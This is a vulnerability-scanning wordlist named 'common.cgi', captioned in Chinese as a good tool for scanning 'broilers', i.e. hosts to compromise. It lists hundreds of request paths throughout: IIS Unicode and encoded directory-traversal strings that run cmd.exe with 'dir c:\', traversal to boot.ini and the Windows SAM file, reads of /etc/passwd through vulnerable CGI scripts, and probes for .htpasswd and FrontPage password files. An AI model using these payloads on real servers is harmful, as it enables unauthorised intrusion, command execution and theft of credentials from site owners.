common.cgi

扫描肉鸡的一款很好工具

/.pl
/*.ida
/*.idc
/*.idq
/........../autoexec.bat
/....../
/....../ all
/....../etc/hosts
/../../../../ all
/../../../../../../../boot.ini
/../../../../../winnt/repair/sam._
/../../../../config.sys
/../../../../etc/hosts
/.access
/.bash_history
/.htaccess
/.htpasswd
/.passwd
/?PageServices
/_AuthChangeUrl
/_AuthChangeUrl?
/_mem_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe
/_mem_bin/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir%20c:\
/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
/_mem_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir%20c:\
/_mem_bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe
/_mem_bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir%20c:\
/_mem_bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe
/_mem_bin/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir%20c:\
/_mem_bin/../../../../winnt/system32/cmd.exe?/c+dir
/_mem_bin/../../../../winnt/system32/cmd.exe?/c+dir%20c:\
/_mem_bin/..?..?..?../winnt/system32/cmd.exe?/c+dir
/_mem_bin/..?..?..?../winnt/system32/cmd.exe?/c+dir%20c:\
/_mem_bin/..\..\..\../winnt/system32/cmd.exe?/c+dir
/_mem_bin/..\..\..\../winnt/system32/cmd.exe?/c+dir%20c:\
/_mem_bin/.._../winnt/system32/cmd.exe?/c+dir
/_private
/_private/form_results.txt
/_private/orders.txt
/_private/register.txt
/_private/registrations.txt
/_vti_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe
/_vti_bin/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir%20c:\
/_vti_bin/..%c0%2f../winnt/system32/cmd.exe?/c+dir%20c:\
/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir%20c:\
/_vti_bin/..%c0%af../winnt/system32/cmd.exe?/c+dir%20c:\
/_vti_bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe
/_vti_bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir%20c:\
/_vti_bin/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20c:\
/_vti_bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe
/_vti_bin/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir%20c:\
/_vti_bin/..%c1%9f../winnt/system32/cmd.exe?/c+dir%20c:\
/_vti_bin/../../../../winnt/system32/cmd.exe?/c+dir
/_vti_bin/../../../../winnt/system32/cmd.exe?/c+dir%20c:\
/_vti_bin/..?..?..?../winnt/system32/cmd.exe?/c+dir
/_vti_bin/..?..?..?../winnt/system32/cmd.exe?/c+dir%20c:\
/_vti_bin/..\..\..\../winnt/system32/cmd.exe?/c+dir
/_vti_bin/..\..\..\../winnt/system32/cmd.exe?/c+dir%20c:\
/_vti_bin/.._../winnt/system32/cmd.exe?/c+dir
/_vti_bin/_vti_aut/dvwssr.dll
/_vti_bin/fpcount.exe
/_vti_bin/fpexe
/_vti_bin/shtml.dll
/_vti_bin/shtml.dll/_vti_rpc
/_vti_bin/shtml.exe
/_vti_inf.html
/_vti_pvt
/_vti_pvt/
/_vti_pvt/administrator.pwd
/_vti_pvt/administrators.pwd
/_vti_pvt/author.log
/_vti_pvt/authors.pwd
/_vti_pvt/doctodep.btr
/_vti_pvt/service.grp
/_vti_pvt/service.pwd
/_vti_pvt/shtml.dll
/_vti_pvt/shtml.exe
/_vti_pvt/users.pwd
/~bin
/~ftp
/~guest
/~log
/~logs
/~lp
/~named
/~root
/~test
/~tmp
/a.asp/..\../..\../winnt/repair/sam
/abczxv.htw
/Admin_files/order.log
/admisapi/fpadmin.htm
/adsamples/config/site.csc
/AdvWorks/equipment/catalog_type.asp
/app.cfm
/ASPSamp/AdvWorks/equipment/catalog_type.asp
/autoexec.bat
/bb-dnbd/bb-hist.sh
/bdir.htr
/bin
/bin/jscripts/GneteFuncs.js
/bin/scripts/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir%20c:\
/bin/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir%20c:\
/bin/scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir%20c:\
/bin/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir%20c:\
/bin/scripts/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir%20c:\
/bin/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20c:\
/bin/scripts/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir%20c:\
/bin/scripts/..%c1%9f../winnt/system32/cmd.exe?/c+dir%20c:\
/bin/scripts/../../../../winnt/system32/cmd.exe /c+dir?/c+dir%20c:\
/bin/scripts/../../../../winnt/system32/cmd.exe?/c+dir
/bin/scripts/../../../../winnt/system32/cmd.exe?/c+dir%20c:\
/bin/scripts/..?..?..?../winnt/system32/cmd.exe?/c+dir
/bin/scripts/..?..?..?../winnt/system32/cmd.exe?/c+dir%20c:\
/bin/scripts/..\..\..\../winnt/system32/cmd.exe?/c+dir
/bin/scripts/..\..\..\../winnt/system32/cmd.exe?/c+dir%20c:\
/bin/scripts/.._../winnt/system32/cmd.exe?/c+dir
/bin/scripts/openvendor/gnete/RetrievePNBody.asp
/blabla.idq
/carbo.dll
/catalog.nsf
/catalog.nsf/
/ccbill/secure/ccbill.log
/cfappman/index.cfm
/cfcache.map
/cfdocs/cfmlsyntaxcheck.cfm
/cfdocs/exampleapp/docs/sourcewindow.cfm
/cfdocs/exampleapp/email/getfile.cfm
/cfdocs/exampleapp/email/getfile.cfm?filename=c:\boot.ini
/cfdocs/exampleapp/publish/admin/addcontent.cfm
/cfdocs/examples/cvbeans/beaninfo.cfm
/cfdocs/examples/httpclient/mainframeset.cfm
/cfdocs/examples/parks/detail.cfm
/cfdocs/expelval/displayopenedfile.cfm
/cfdocs/expelval/exprcalc.cfm
/cfdocs/expelval/openfile.cfm
/cfdocs/expelval/sendmail.cfm
/cfdocs/expeval/displayopenedfile.cfm
/cfdocs/expeval/eval.cfm
/cfdocs/expeval/ExprCalc.cfm
/cfdocs/expeval/exprcalc.cfm
/cfdocs/expeval/openfile.cfm
/cfdocs/expeval/sendmail.cfm
/cfdocs/root.cfm
/cfdocs/snippets/evaluate.cfm
/cfdocs/snippets/fileexists.cfm
/cfdocs/snippets/gettempdirectory.cfm
/cfdocs/snippets/viewexample.cfm
/cfide/administrator/index.cfm
/cfusion/cfapps/forums/data/forums.mdb
/cfusion/cfapps/security/data/realm.mdb
/cfusion/cfapps/security/realm_.mdb
/cfusion/database/cfsnippets.mdb
/cfusion/database/cypress.mdb
/cfusion/database/smpolicy.mdb
/cgi
/cgibin
/cgi-bin
/Cgi-Bin/
/cgi-bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe
/cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
/cgi-bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe
/cgi-bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe
/cgi-bin/../../../../winnt/system32/cmd.exe
/cgi-bin/..?..?..?../winnt/system32/cmd.exe
/cgi-bin/..\..\..\../winnt/system32/cmd.exe
/cgi-bin/.._../winnt/system32/cmd.exe?/c+dir
/cgi-bin/add_ftp.cgi
/cgi-bin/Admin_files/order.log
/cgi-bin/adp
/cgi-bin/adpassword.txt
/cgi-bin/ads.setup
/cgi-bin/aglimpse
/Cgi-Bin/aglimpse.cgi
/cgi-bin/aglimpse.cgi
/Cgi-Bin/alibaba.pl
/cgi-bin/alibaba.pl
/cgi-bin/alibaba.pl\dir
/cgi-bin/allmanage.pl
/cgi-bin/allmanage/adp
/cgi-bin/allmanage/k
/cgi-bin/allmanage/settings.cfg
/cgi-bin/allmanage/userfile.dat
/cgi-bin/allmanageup.pl
/cgi-bin/AnyBoard.cgi
/cgi-bin/anyboard.cgi
/cgi-bin/AnyForm
/cgi-bin/AnyForm.cgi
/cgi-bin/AnyForm2
/cgi-bin/archie
/cgi-bin/architext_query.pl
/cgi-bin/ash
/cgi-bin/AT-admin.cgi
/cgi-bin/AT-generate.cgi
/cgi-bin/authorize/dbmfiles/users
/cgi-bin/ax.cgi
/cgi-bin/ax-admin.cgi
/cgi-bin/axs.cgi
/cgi-bin/bash
/cgi-bin/bb-hist.sh
/cgi-bin/bigconf.cgi
/cgi-bin/bigconf.cgi all
/cgi-bin/bizdb1-search.cgi
/cgi-bin/bnbform
/cgi-bin/bnbform.cgi
/cgi-bin/cachemgr.cgi
/cgi-bin/calendar
/cgi-bin/calender.pl
/cgi-bin/calender_admin.pl
/Cgi-Bin/campas
/cgi-bin/campas
/cgi-bin/carbo.dll
/cgi-bin/cart.pl
/cgi-bin/ceilidh.exe/ceilidh/?N4
/cgi-bin/cgimail.exe
/Cgi-Bin/cgitest.exe
/cgi-bin/Cgitest.exe
/cgi-bin/cgiwrap
/cgi-bin/classified.cgi
/cgi-bin/classifieds
/cgi-bin/classifieds.cgi
/cgi-bin/clickresponder.pl
/Cgi-Bin/cmd.exe
/cgi-bin/cmd.exe
/Cgi-Bin/cmd32.exe
/Cgi-Bin/cmd32.exe?/c+dir
/cgi-bin/Count.cgi
/Cgi-Bin/count.cgi
/cgi-bin/counterfiglet
/Cgi-Bin/csh
/cgi-bin/csh
/cgi-bin/date
/cgi-bin/day5datacopier.cgi
/cgi-bin/day5datanotifier.cgi
/cgi-bin/day5notifier
/cgi-bin/dbmlparser.exe
/cgi-bin/dig.cgi
/cgi-bin/dnewsweb
/cgi-bin/download.cgi
/cgi-bin/dumpenv.pl
/Cgi-Bin/echo.bat
/cgi-bin/edit.pl
/Cgi-Bin/enivron.pl
/cgi-bin/environ.cgi
/cgi-bin/excite
/Cgi-Bin/ezshopper/loadpage.cgi
/Cgi-Bin/ezshopper/search.cgi
/cgi-bin/faxsurvey
/Cgi-Bin/faxsurvey
/cgi-bin/filemail
/cgi-bin/filemail.pl
/cgi-bin/files.pl
/cgi-bin/finger
/cgi-bin/finger.cgi
/cgi-bin/finger.pl
/cgi-bin/flexform
/cgi-bin/flexform.cgi
/Cgi-Bin/FormHandler.cgi
/cgi-bin/FormHandler.cgi
/Cgi-Bin/formmail
/Cgi-Bin/formmail.cgi
/Cgi-Bin/formmail.pl
/cgi-bin/formmail.pl
/cgi-bin/fortune
/cgi-bin/fpcount.exe
/cgi-bin/fpexplore.exe
/cgi-bin/fpexplorer.exe
/cgi-bin/ftp/ftp.pl
/Cgi-Bin/get32.exe
/cgi-bin/get32.exe
/cgi-bin/get32.exe\dir
/cgi-bin/gH.cgi
/cgi-bin/glimpse
/cgi-bin/guestbook
/cgi-bin/guestbook.cgi
/cgi-bin/guestbook.pl
/cgi-bin/handler
/cgi-bin/handler.cgi
/Cgi-Bin/hello.bat
/Cgi-Bin/htimage.exe
/cgi-bin/htimage.exe
/cgi-bin/htmlscript
/cgi-bin/htmlscript?../../../../etc/passwd
/Cgi-Bin/htsearch
/cgi-bin/htsearch
/cgi-bin/iisadmpwd/achg.htr
/cgi-bin/iisadmpwd/aexp.htr
/cgi-bin/iisadmpwd/aexp2.htr
/cgi-bin/iisadmpwd/anot.htr
/cgi-bin/imagemap.exe
/cgi-bin/info2www
/cgi-bin/infosrch.cgi
/cgi-bin/input.bat
/cgi-bin/input2.bat
/Cgi-Bin/jj
/cgi-bin/jj
/cgi-bin/k
/Cgi-Bin/ksh
/cgi-bin/ksh
/Cgi-Bin/loadpage.cgi
/cgi-bin/loadpage.cgi
/cgi-bin/lwgate
/cgi-bin/LWGate.cgi
/cgi-bin/lwgate.cgi
/cgi-bin/MachineInfo
/cgi-bin/mail
/cgi-bin/mailform.exe
/cgi-bin/maillist.pl
/cgi-bin/makechanges/easysteps/easysteps.pl
/cgi-bin/man.sh
/cgi-bin/mlog.phtml
/cgi-bin/mylog.phtml
/cgi-bin/netstat
/cgi-bin/nlog-smb.pl
/cgi-bin/nph-error.pl
/cgi-bin/nph-publish
/cgi-bin/nph-test-cgi
/Cgi-Bin/nph-test-cgi
/cgi-bin/passwd
/cgi-bin/passwd.txt
/cgi-bin/password
/cgi-bin/password.dat
/cgi-bin/password.log
/cgi-bin/password.txt
/cgi-bin/perl
/Cgi-Bin/perl.exe
/cgi-bin/perl.exe
/cgi-bin/perlshop.cgi
/cgi-bin/pfdispaly.cgi
/cgi-bin/pfdisplay
/cgi-bin/pfdisplay.cgi
/Cgi-Bin/phf
/cgi-bin/phf
/cgi-bin/phf.cgi
/cgi-bin/phf.pp
/cgi-bin/photo_cfg.pl
/cgi-bin/php
/cgi-bin/php.cgi
/cgi-bin/phpscan
/cgi-bin/plusmail
/cgi-bin/postcard.pl
/cgi-bin/post-query
/cgi-bin/ppdscgi.exe
/cgi-bin/printenv
/cgi-bin/process_bug.cgi
/cgi-bin/query
/cgi-bin/redirect
/cgi-bin/responder
/cgi-bin/responder.cgi
/Cgi-Bin/rguest.exe
/cgi-bin/rguest.exe
/cgi-bin/rksh
/cgi-bin/rpm_query
/cgi-bin/rsh
/cgi-bin/rwwwshell.pl
/cgi-bin/sam._
/cgi-bin/sawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1
/cgi-bin/scripts/perl.exe
/Cgi-Bin/search.cgi
/cgi-bin/search.cgi